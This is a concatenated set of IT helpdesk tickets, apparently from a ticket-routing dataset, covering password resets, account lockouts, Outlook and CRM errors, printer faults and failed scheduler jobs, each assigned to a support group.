unable to access crm thru outlook., is assigned to Assignment group: GRP\_0.Ticket with Short description: change of owner on collaboration\_platform link, Description: change of owner on collaboration\_platform link, is assigned to Assignment group: GRP\_0.Ticket with Short description: coffee spillage on keybankrd , Description: coffee spillage on keybankrd , is assigned to Assignment group: GRP\_3.Ticket with Short description: can you please check â€“ marftgytin hÃ¶pfner (userid: hoepftyhum, # 59146) gets the crm error message when trying to open the "fore, Description: can you please check â€“ marftgytin hÃ¶pfner (userid: hoepftyhum, # 59146786) gets the crm error message when trying to open the "forecast to plan" dashbankrd., is assigned to Assignment group: GRP\_22.Ticket with Short description: saved over excel file, Description: \_x000D\_
\_x000D\_
received from: qzixratf.wrygjncl@gmail.com\_x000D\_
\_x000D\_
i have accidentally 'saved as' an excel spreadsheet over another file. is there a way to recover to a few days ago?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: query on crm app, Description: query on crm app, is assigned to Assignment group: GRP\_0.Ticket with Short description: printer -08, Description: configure the id 08 printer on the laptop., is assigned to Assignment group: GRP\_19.Ticket with Short description: locked out of poruxnwb yfaqhceo, Description: received from: hwbukcsm.hwobikcv@gmail.com\_x000D\_
\_x000D\_
hi there,\_x000D\_
\_x000D\_
i tried changing my password in the poruxnwb yfaqhceo yesterday (oracle fusion middleware â€“ production 11g) and after entering my old and new passwords, the log in box kept popping up but did not let me log in. i somehow backed out of it and it let me access the system.\_x000D\_
\_x000D\_
today neither the old or new password will work. i have had this happen in the past and szewiguc nvajphfm would unlock it for me.\_x000D\_
\_x000D\_
can someone help me get this corrected?\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_1.Ticket with Short description: no audio on lat 7350, Description: no audio on lat 7350, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows password reset, Description: windows password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: circuit outage: south\_amerirtca, south\_amerirtca vpn router is down at 12:23 pm et on 10/04. site is up on primary., Description: what type of outage: \_\_\_\_\_network \_\_x\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_\_no (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_12:23 pm et on 10/04.\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_no\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_na\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: issues with user profiles on HostName\_108, Description: user profiles seem to be messed up on this server and not creating. when trying to investigate a monitoring\_tool monitoring issue i came across the error message in the attached screenshot.\_x000D\_
\_x000D\_
please investigate. , is assigned to Assignment group: GRP\_12.Ticket with Short description: renew internal certificate for password\_management\_tool id password manager, Description: hello ,
as discussed, please assist on renewing the internal certificate for password\_management\_tool id password manager tool.
, is assigned to Assignment group: GRP\_39.Ticket with Short description: ticket upadate on :inplant\_866142, Description: ticket upadate on :inplant\_866142, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 password reset , Description: erp SID\_34 password reset , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1387 failed in job\_scheduler at: 10/04/2016 11:17:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1387 failed in job\_scheduler at: 10/04/2016 11:17:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: urgent : not able to share company catalog data with external user..., Description:
summary:who can help me with collaboration\_platform issues?
i have shared directory and files on collaboration\_platform with an external user, but it is telling me "only you" under the shared with column, is assigned to Assignment group: GRP\_16.Ticket with Short description: users at usa are not receiving inbound external calls, Description: users at usa are not receiving inbound external calls\_x000D\_
\_x000D\_
internal extension to extension calls are working and outbound calls are working \_x000D\_
, is assigned to Assignment group: GRP\_37.Ticket with Short description: missing email access: k-amerirtcas.hrss@company.com, Description: i previously had access to the amerirtcas\_hrssc mail box on outlook, but it is no longer available to me. can this be re-set up?
vpksyfco chosuygq
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unlock and reset password user ( vvamrtryot ) , Description: just to inform you that user vvamrtryot seems has expired the password in SID\_21, SID\_1, SID\_34.\_x000D\_
we couldn't proceed checking, can you also reset the password?\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: outlook stuck on processing , Description: outlook stuck on processing , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp gui is missing login options for xhaomnjl ctusaqpr, Description: erp gui is missing login options for xhaomnjl ctusaqpr, is assigned to Assignment group: GRP\_0.Ticket with Short description: xhaomnjl ctusaqpr called for erp account unlock, Description: xhaomnjl ctusaqpr called for erp account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows acccount lockout, Description: windows acccount lockout, is assigned to Assignment group: GRP\_0.Ticket with Short description: update inwarehouse\_tool documents from list for sales org 12032, 12035 and 12036, Description: with the germany office move the main inwarehouse\_tool printer fd37v got temporarily totally deleted by accident from erp. a big bulk of inwarehouse\_tools was already reissued, but there are billing documents dated august 26 - 29, 2016 that do not have any output yet at all. - see lists attached.\_x000D\_
\_x000D\_
if an update is done on the billing via vf02, the correct output type gets automatically added. therefore we need to have a mass update done (just go to change mode and save), so that the missing printouts get added and issued to the appropriate printer. (billings with existing output might be amongst the list, these are good and no action is required.)\_x000D\_
\_x000D\_
\*\*\*\*\*\*\*\*\*\*\*\*\*\_x000D\_
important: \*\_x000D\_
\*\*\*\*\*\*\*\*\*\*\*\*\*\_x000D\_
if the mass update is done, please don't do it any any regular billing job times and note the issued documents from erp spool. the list of billings attached might also have documents with output assigned to other printers than fd37v. these billings are correct.\_x000D\_
accounting department, however, would need to have a list of all billings where the output now would get generated, as the customer might get reminders or dunnings for the same. we need to clearly trace these billing documents with output only now generated for audit reasons. we need to get the print outs as soon as possible. please help to support this request as soon as possible as some customers get annoyed with wrong dunnings.\_x000D\_
\_x000D\_
if you have questions, don't hesitate to contact me. \_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: clients laptop will not turn on, Description: clients laptop will not turn on, is assigned to Assignment group: GRP\_3.Ticket with Short description: erp SID\_34 password reset, Description: erp SID\_34 password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: product management master, key figures dierppear , Description: sample before refresh\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
after refresh\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_9.Ticket with Short description: i received an error when trying to log in to do my ethics for q2., Description: error i received says "our records indicate your log in credentials used to access the site from the company's collaboration\_platform do not match the records we have on file within the active directory.", is assigned to Assignment group: GRP\_0.Ticket with Short description: email address: dbryhtuown@task.com has been newly blocked from sending attachments. please remove the block., Description: email address: dbryhtuown@task.com has been newly blocked from sending attachments. please remove the block., is assigned to Assignment group: GRP\_26.Ticket with Short description: erp font small., Description: i've received a new laptop (latitude 7275), after the image installation the (erp) has e very little definition. when i try to logon i can see only very little charatcher.. do you have some indications ?, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype login after changing password, Description: \_x000D\_
\_x000D\_
received from: doxiqkws.uvrzcqmf@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i recently changed my company network password (log in, email, vpn, etc.) and cannot sign in to skype for business anymore. i get a notification saying there was a problem acquiring a personal certificate:\_x000D\_
\_x000D\_
[cid:image001.png@01SID\_35e11.eafad4b0]\_x000D\_
\_x000D\_
any assistance you can provide would be greatly appreciated.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: second monitor not working, Description: \_x000D\_
\_x000D\_
received from: iqcylpok.ascpqvni@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
my second monitor stopped working, cannot get a picture on it. can someone please come and take a look at it? , is assigned to Assignment group: GRP\_3.Ticket with Short description: reset the password for fueiklyv jargqpkm on erp / production / erp, Description: please reset my password for SID\_34 erp production and SID\_37 bw production, is assigned to Assignment group: GRP\_0.Ticket with Short description: i need removed from my profile, Description: i updated my profile in the new single sign on and yet still appears. it has affected my number in outlook as well as anyone who has me in their contact list. the only number that should be associated with my profile is . if you do an employee search from outlook you will see the number., is assigned to Assignment group: GRP\_2.Ticket with Short description: password reset , Description: request to reset user's password
the following user in your organization has requested a password reset be performed for their account:
â€¢ apokrfjv.mdiepcul@gmail.com
â€¢ first name: donnathyr
â€¢ last name: welling
consider contacting this user to validate this request is authentic before continuing.
if you have determined that this is a valid request, use your service's admin portal (office 365, windows intune, windows azure, etc.) to reset the password for this user.
want to let you users reset their own passwords? check out how you can enable password reset for users in your organization with just a few clicks.
sincerely,
company inc.
this message was sent from an unmonitored email address. please do not reply to this message.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: EU\_tool ws ewew8323843 funktioniert nicht \jionmpsf wnkpzcmv, Description: EU\_tool ws ewew8323843 funktioniert nicht \jionmpsf wnkpzcmv, is assigned to Assignment group: GRP\_24.Ticket with Short description: bluescreen ewew8323733 \wrcktgbd wzrgyunp, Description: hallo ,\_x000D\_
\_x000D\_
mein pc zeigt blaue seite mit vielen weiÃŸen buchstaben.\_x000D\_
pc nr. 212622\_x000D\_
typ: optiplex 790\_x000D\_
\_x000D\_
bitte helfen!\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_24.Ticket with Short description: key figure dierppears - urgent refer :inplant\_866405, Description: \_x000D\_
\_x000D\_
received from: uwofavej.hxyatnjc@gmail.com\_x000D\_
\_x000D\_
while updating existing product management master, key figures dierppear and if shown in columns also columns dierppear and download is distrtgoyed\_x000D\_
\_x000D\_
last month we have had the same issue as anybody made changes on the product management master\_x000D\_
pallutyr pande corrected it back, maybe you can involve her again\_x000D\_
\_x000D\_
we are very bussy with month end data and immediately need the correct settings as they have been before.\_x000D\_
\_x000D\_
sample : before refresh\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_9.Ticket with Short description: skype issue : personal certificate error , Description: skype issue : personal certificate error , is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset, Description:
request to reset user's password
the following user in your organization has requested a password reset be performed for their account:
â€¢ icyxtqej.lqsjrgzt@gmail.com
â€¢ first name: hyeonthygwon
â€¢ last name: lethre
consider contacting this user to validate this request is authentic before continuing.
if you have determined that this is a valid request, use your service's admin portal (office 365, windows intune, windows azure, etc.) to reset the password for this user.
want to let you users reset their own passwords? check out how you can enable password reset for users in your organization with just a few clicks.
sincerely,
company inc.
this message was sent from an unmonitored email address. please do not reply to this message.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: account got locked, Description: account got locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: system took a long time to respond after a password reset., Description: system took a long time to respond after a password reset.\_x000D\_
stack guard error came up with outlook., is assigned to Assignment group: GRP\_0.Ticket with Short description: user lndypaqg dhqwtcsr (gogtyekthyto) hat sein passwort in erp SID\_34 verggermany. , Description: user lndypaqg dhqwtcsr (gogtyekthyto) hat sein passwort in erp SID\_34 verggermany. , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to expense reimbursement webpage., Description: unable to connect to expense reimbursement webpage.\_x000D\_
page fails to load, is assigned to Assignment group: GRP\_0.Ticket with Short description: distributor\_tool does not have a list of favorite customers, Description: issue occurred after a recent password change., is assigned to Assignment group: GRP\_0.Ticket with Short description: gurts lrupiepens email forwarding, Description:
received from: hpqjaory.gfrwmije@gmail.com
gurts lrupiepens left company's usa, il facility on september 30, 2016.
i am assuming partial responsibilities for gus. can you please set up email forwarding
for any correspondences to my email address?
please advise if there is anything else required on my part or my manager, xpoqcrtb zwrypjqv.
, is assigned to Assignment group: GRP\_26.Ticket with Short description: please reset my password for hana SID\_60,SID\_59,SID\_58, Description: please reset my password for hana SID\_60,SID\_59,SID\_58 for userid:bathishry, is assigned to Assignment group: GRP\_53.Ticket with Short description: erp password reset : erp SID\_34, Description: erp password reset : erp SID\_34, is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_113 : rfcserver.exe process count service is down at 8:11 am et on 10/04., Description: HostName\_113 : rfcserver.exe process count service is down at 8:11 am et on 10/04., is assigned to Assignment group: GRP\_14.Ticket with Short description: xceliron process where pos are auto received is not working as designed resulting in blocked inwarehouse\_tools., Description: xceliron process where pos are auto received is not working as designed resulting in blocked inwarehouse\_tools resulting in additional work for the ap and buyer who cannot control this process. please correct the missing goods receipts on the attached file and make a permanent correction so that goods receipts are done in a timely fashion going forward. please do not close this ticket until a permanent fix is uacyltoe hxgayczeed and in place. , is assigned to Assignment group: GRP\_29.Ticket with Short description: crm app on ios10, Description: crm app on ios10, is assigned to Assignment group: GRP\_0.Ticket with Short description: schnafk - docking station needs replacement, Description: desk: 455 - cubicle number in the customer service department - usa
phone number:
laptop model: latitude e5450
direct connection to monitors work, through docking station, no go., is assigned to Assignment group: GRP\_3.Ticket with Short description: collaboration\_platform access, Description:
received from: frydqbgs.ugmnzfik@gmail.com
hello all,
the project documentation under the collaboration\_platform links below is no longer accessible with error message
jaytya created it, but he left meanwhile, perhaps deactivation of his account could be the reason. anyway, please help to get access again or provide instruction to change owner. , is assigned to Assignment group: GRP\_16.Ticket with Short description: unable to sign in to skype, Description: unable to sign in to skype, is assigned to Assignment group: GRP\_0.Ticket with Short description: view drawing in engineering tool, erp gui and business\_client take 3x as long as normal, Description: since a couple days we see huge performance issues in fue to view drawings from erp.\_x000D\_
, is assigned to Assignment group: GRP\_14.Ticket with Short description: updation required in flash player, Description: \_x000D\_
\_x000D\_
received from: ipydfcqo.kdxsquzn@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
please find below compatibility check getting while launching ethics.\_x000D\_
\_x000D\_
kindly go thru and do the needful.\_x000D\_
\_x000D\_
[cid:image011.jpg@01SID\_35e5d.aeae3550]\_x000D\_
\_x000D\_
system details is provided below for your quick view.\_x000D\_
[cid:image012.png@01SID\_35e5d.aeae3550]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: plm-engineering tool: pdf-files can not be opened. error attached., Description: \_x000D\_
\_x000D\_
received from: tgafnyzb.hnevrcuj@gmail.com\_x000D\_
\_x000D\_
hallo,\_x000D\_
\_x000D\_
das Ã¶ffnen von pdf-files aus engineering tool dauert heute extrem lange. manchmal erscheint auch diese meldung, ohne dass das file geÃ¶ffnet wird:\_x000D\_
\_x000D\_
[cid:image001.png@01SID\_35e3f.829dfa90]\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_14.Ticket with Short description: info type '0017' is missing to personal number 56567040, Description: from: qkmvosen opundxsk
sent: tuesday, october 04, 2016 4:10 pm
to: nyifqpmv kfirxjag
subject: travel expense manager
hello,
transaktion pr05 doesnÂ´t work for personal number 56567040.
please check.
, is assigned to Assignment group: GRP\_10.Ticket with Short description: probleme mit ie \vzqomdgt jwoqbuml, Description: probleme mit ie \vzqomdgt jwoqbuml, is assigned to Assignment group: GRP\_24.Ticket with Short description: sinic allgemeiner fehler: 3155 odbc vmsliazh ltksxmyv driver abfragetimeout \jionmpsf wnkpzcmv, Description: sinic allgemeiner fehler: 3155 odbc vmsliazh ltksxmyv driver abfragetimeout \jionmpsf wnkpzcmv, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit drucker we110 \fdyietau dvsyxwbu, Description: hallo ,\_x000D\_
\_x000D\_
unser kopierer im schulungsraum ist auch defekt (minolta we 110).\_x000D\_
\_x000D\_
kannst du bitte mal nachschauen.\_x000D\_
, is assigned to Assignment group: GRP\_24.Ticket with Short description: job Job\_593 failed in job\_scheduler at: 10/04/2016 06:08:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_593 failed in job\_scheduler at: 10/04/2016 06:08:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: msd crm, Description: urgent help required, i cant link an appointment to an account. i have the crm tab on outlook, but when i enter an appointment and go to set regarding and put in the account, nothing comes to the account for an appointment., is assigned to Assignment group: GRP\_40.Ticket with Short description: job Job\_1355 failed in job\_scheduler at: 10/04/2016 05:48:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1355 failed in job\_scheduler at: 10/04/2016 05:48:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: outlook issues - does not pull /send emails - delay up to 1 hour, Description: login: peathryucoj1
i have issues with my emails in outlook today.
there are delays with pulling emails and sending out.
i am getting my emails with almost an hour delay.
i also have issues with sending out my emails.
they are hanging in my outbox for a long time until they finally go out.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: i cannot pick calls up from my phone, Description: ebhl8111120 does not ring when there is a call., is assigned to Assignment group: GRP\_7.Ticket with Short description: infopath is not working., Description: infopath is not working., is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked. password reset request., Description: account locked. password reset request., is assigned to Assignment group: GRP\_0.Ticket with Short description: need access to \\891245132\scan, Description:
zugriff auf verzeichnis angefragt.
folder access requested.
benutzer id ?
user id ?ahujajtyhur
benutzer die position titel?
user's position title ?executive sales admin
verzeichnis?
folder ?\\891245132\scan
art des zugriffs?
type of access ? (read only or full control) ?full
name des vorgesetzten?
manager name?cobsfvjz apkqmrdu
received from: ohdrnswl.rezuibdt@gmail.com
hi,
please help to assign scanner to my system 891245132.
best , is assigned to Assignment group: GRP\_19.Ticket with Short description: need your help!! , Description:
received from: ezwcpqrh.bnwqaglk@gmail.com
hello it desk,
i sent this emal thru the web mail, as i can not open the ms office outrlook, due to the error message below.
the error message says " cannot create new gard page of stack." as of things, i just changed my pass word recently with accordance to the auto notification from system.
please help me to solve this trouble quickly and start to use outlook for my daily work.
my email address is
ezwcpqrh.bnwqaglk@gmail.com
id is
yathryu
mobile phone is
your asistance is highly appreciated.
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: 7350 wifi not connecting, Description: 7350 wifi not connecting, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows password reset, Description: windows password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: crm- extensions - forecast view, Description: \_x000D\_
\_x000D\_
received from: ctzykflo.evzbhgru@gmail.com\_x000D\_
\_x000D\_
dear all,\_x000D\_
\_x000D\_
under crm â€“ extensions â€“ the "forecast" button is gone. instead we have now "potential spends" . can someone please readd the "forecast".\_x000D\_
\_x000D\_
[cid:image001.png@01SID\_35e2d.85e00b60]\_x000D\_
, is assigned to Assignment group: GRP\_40.Ticket with Short description: app probleme, Description: \_x000D\_
\_x000D\_
received from: ecoljnvt.lbdqmvfs@gmail.com\_x000D\_
\_x000D\_
hallo kollegen,\_x000D\_
\_x000D\_
in meinem outlook kommt ein feld dass ein app â€“ problem vorhanden ist.\_x000D\_
\_x000D\_
was ist zu tun?\_x000D\_
\_x000D\_
[cid:image003.jpg@01SID\_35e28.2c1d0470]\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to create delivery, Description: please provide the following:\_x000D\_
\_x000D\_
what order number? 5019296276/00001\_x000D\_
\_x000D\_
what material or item number? 7380698\_x000D\_
\_x000D\_
what warehouse location? plant\_108\_x000D\_
\_x000D\_
issue description / error message? no---, is assigned to Assignment group: GRP\_29.Ticket with Short description: unable to do ethics course. have not received a mail from ethics since a very long time., Description: mr. kothyherr has not received any mail from ethics since a long time. he thinks he should have received at least 2-3 mails during this period. that is why he is unable to do the course.
he insists ethics to look into it.
received from: ecoljnvt.lbdqmvfs@gmail.com
hallo kollegen,
ich sollte eigentlich meine ethics vorgÃ¤nge abarbeiten.
dazu habe ich jedoch keinerlei erinnerungsinformationen bekommen noch einen link wie ich in das portal komme.
deswegen habe ich versucht Ã¼ber hub in das portal zu kommen.
dazu habe ich auf login gedrÃ¼ckt!
[cid:image005.jpg@01SID\_35e26.0dda3340]
dann auf den button deutsch.
[cid:image006.jpg@01SID\_35e26.0dda3340]
dann kommt jedoch keine offene session!
was ist zu tun?
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_23.Ticket with Short description: frequent account locked out, Description: frequent account locked out, is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked., Description: account locked., is assigned to Assignment group: GRP\_0.Ticket with Short description: prognose crm - forecast to plan dashbankrd not working - resource not found error, Description: \_x000D\_
\_x000D\_
received from: ctzykflo.evzbhgru@gmail.com\_x000D\_
\_x000D\_
dear all,\_x000D\_
\_x000D\_
not only the one user is affected we got other sales reps indicating that they can't open the crm forecast to plan dashbankrd and get the "resource not found error".\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_22.Ticket with Short description: outlook is not updating., Description: outlook is not updating., is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_2645 failed in job\_scheduler at: 10/04/2016 03:25:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2645 failed in job\_scheduler at: 10/04/2016 03:25:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: i am still unable to "salesperson" and "uacyltoe hxgaycze performed by" in engineering\_tool.could you help me?, Description: name:alparslanthyr
language:
browser:microsoft internet explorer
email:lanigpkq.qzhakunx@gmail.com
customer number:
telephone:
summary:hello,
i am still unable to "salesperson" and "uacyltoe hxgaycze performed by" in engineering\_tool.could you help me?
, is assigned to Assignment group: GRP\_25.Ticket with Short description: not able to login to ethics portal\_ kxmidsga zokivdfa, Description: \_x000D\_
\_x000D\_
received from: kxmidsga.zokivdfa@gmail.com\_x000D\_
\_x000D\_
dear sir,\_x000D\_
i am not able to login to ethics portal. the error screen shot attached below.\_x000D\_
kindly do the need full.\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.jpg@01SID\_35e3c.6cd364f0]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
with best , is assigned to Assignment group: GRP\_23.Ticket with Short description: please provide access to m drive, Description:
received from: dshferby.houtnzdi@gmail.com
dear it team,
good morning.
please provide full control access to below paths, for the below members (markhtyed cc).
departments (\\HostName\_95<file:///\\HostName\_95>) (m:)\k100 scorecard\_india iscl
departments (\\HostName\_95<file:///\\HostName\_95>) (m:)\k100 updates\_india iscl
sagfhoshgzpkmilu skwbuvjyheelavant santthyumar.shtyhant@company.com<mailto:santthyumar.shtyhant@company.com>
fahdlecz ubcszaohygexqab.cvihupnk@gmail.com<mailto:cygexqab.cvihupnk@gmail.com>
erathyur dbrugslc.ydwtsunh@gmail.com<mailto:dbrugslc.ydwtsunh@gmail.com>
ihkolepb ozhnjyef ihkolepb.ozhnjyef@gmail.com<mailto:ihkolepb.ozhnjyef@gmail.com>
njdxwpvg.onlehdsi@gmail.com<mailto:njdxwpvg.onlehdsi@gmail.com>
culixwse pmrvxbnjhivaramdntyaiah wkzrenmj.vsyctbzk@gmail.com<mailto:wkzrenmj.vsyctbzk@gmail.com>
, is assigned to Assignment group: GRP\_12.Ticket with Short description: issue with bobj, Description: dear all,\_x000D\_
\_x000D\_
can you please fix the bobj problem for mjvfxnka zvjxuahe. see below error message.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_9.Ticket with Short description: problems with wifi, Description: \_x000D\_
\_x000D\_
received from: hpeknoam.yrfowmva@gmail.com\_x000D\_
\_x000D\_
good morning,\_x000D\_
\_x000D\_
i use my dell latitude 7350 in my home office using my own wifi network for internet access.\_x000D\_
often when i wake it up from powersave mode it is still connected to my local wifi network, but as a â€žnot identified" network with no internet connection. my private owned devices (pc, smartphone,tablet) still work fine.\_x000D\_
i have to shut down and restart the dell again to get a proper connection.\_x000D\_
\_x000D\_
please advise what to do, as restarting the dell a couple of times over the day is annoying and time kirtyling.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: timecards access in ticketing\_tool, Description: i have noticed that i don't have access to timecards in my ticketing\_tool. can i have it enabled? , is assigned to Assignment group: GRP\_36.Ticket with Short description: job HostName\_1019failagain failed in job\_scheduler at: 10/04/2016 02:31:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job HostName\_1019failagain failed in job\_scheduler at: 10/04/2016 02:31:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: pgi for delivery note 9169475765 not possible, Description: pgi for delivery note 9169475765 not possible -> please see enclosed message\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: job HostName\_1019fail failed in job\_scheduler at: 10/04/2016 02:21:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job HostName\_1019fail failed in job\_scheduler at: 10/04/2016 02:21:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: account locked in ad, Description: account locked in ad, is assigned to Assignment group: GRP\_0.Ticket with Short description: kann sich nicht anmelden, Description: kann sich nicht anmelden, is assigned to Assignment group: GRP\_33.Ticket with Short description: do i have to worry about this?, Description: \_x000D\_
\_x000D\_
received from: hbmwlprq.ilfvyodx@gmail.com\_x000D\_
\_x000D\_
[cid:image001.png@01SID\_35e17.ad30bfe0]\_x000D\_
\_x000D\_
mit freundlichem gruÃŸ / kind , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to HostName\_589 vsphere client., Description: unable to login to HostName\_589 vsphere client.\_x000D\_
vmware virtualcenter server service is in stopped state., is assigned to Assignment group: GRP\_12.Ticket with Short description: material specification code, Description: the material code trn-hdt-kmc026 is available in the erp system, but when selecting it in engineering tool, there is an error ... no material code exists, is assigned to Assignment group: GRP\_11.Ticket with Short description: plm7 enterprise search for engineering records not working, Description: hello, since a while the plm7 enterprise search for engineering records is not working on my pc. a plugin is missing according to the error messages in the status bar. see attachments.\_x000D\_
, is assigned to Assignment group: GRP\_11.Ticket with Short description: request to reset microsoft online services password for tyhufrey.thyel@company.com, Description: request to reset user's password
the following user in your organization has requested a password reset be performed for their account:
â€¢ tyhufrey.thyel@company.com
â€¢ first name: tyhufrey
â€¢ last name: thyel
consider contacting this user to validate this request is authentic before continuing.
if you have determined that this is a valid request, use your service's admin portal (office 365, windows intune, windows azure, etc.) to reset the password for this user.
want to let you users reset their own passwords? check out how you can enable password reset for users in your organization with just a few clicks.
sincerely,
company inc.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1329 failed in job\_scheduler at: 10/04/2016 00:50:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1329 failed in job\_scheduler at: 10/04/2016 00:50:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: vh 27 - werk germany - fehlende druckauftrÃ¤ge - eilt monatswechsel!!!, Description: \_x000D\_
bei drucker vh 27 keine ausgabe der druckauftrÃ¤ge aus erp-hrp. druck aus word/excel funktioniert.\_x000D\_
drucker wurde bereits ausgeschaltet und neu gestartet ohne erfolg!\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
please complete all required questions below. \_x000D\_
if not, it will be returned back to the gsc / requester to provide required information\_x000D\_
\_x000D\_
â€¢ gsc to review ticket, if not able to resolve then please assign to appropriate group per your printer problem assignment flowchart.\_x000D\_
\_x000D\_
â€¢ printer name / make - model? (ex hq50 â€“ wy98 - hp 8150) \_x000D\_
\_x000D\_
â€¢ detailed description of the problem ?\_x000D\_
\_x000D\_
â€¢ type of documents not printing? (email â€“ excel â€“ wordâ€¦etc) \_x000D\_
(inwarehouse\_tool â€“ delivery note â€“ production orderâ€¦etc)\_x000D\_
\_x000D\_
â€¢ what system or application being used at time of the problem? (ex windows / erp /kls)\_x000D\_
\_x000D\_
â€¢ if not printing at all, does it respond to a ping command on the network and has a power cycle of the printer been completed?\_x000D\_
\_x000D\_
â€¢ if erp system, which system? (ex SID\_34 / SID\_38 / hrp / plm)\_x000D\_
\_x000D\_
â€¢ if it's an erp printer problem can the erp output be rerouted to another erp printer temporarily?\_x000D\_
what printer can it be rerouted too? \_x000D\_
\_x000D\_
â€¢ if document is not printing correctly, please scan copy of the document and attach to the ticketing\_tool ticket., is assigned to Assignment group: GRP\_0.Ticket with Short description: ethics\_application not found, Description: \_x000D\_
\_x000D\_
received from: vfoyenlw.ntpbdeyf@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i am not able to open the ethics training course.\_x000D\_
\_x000D\_
please see the below error screenshot.\_x000D\_
\_x000D\_
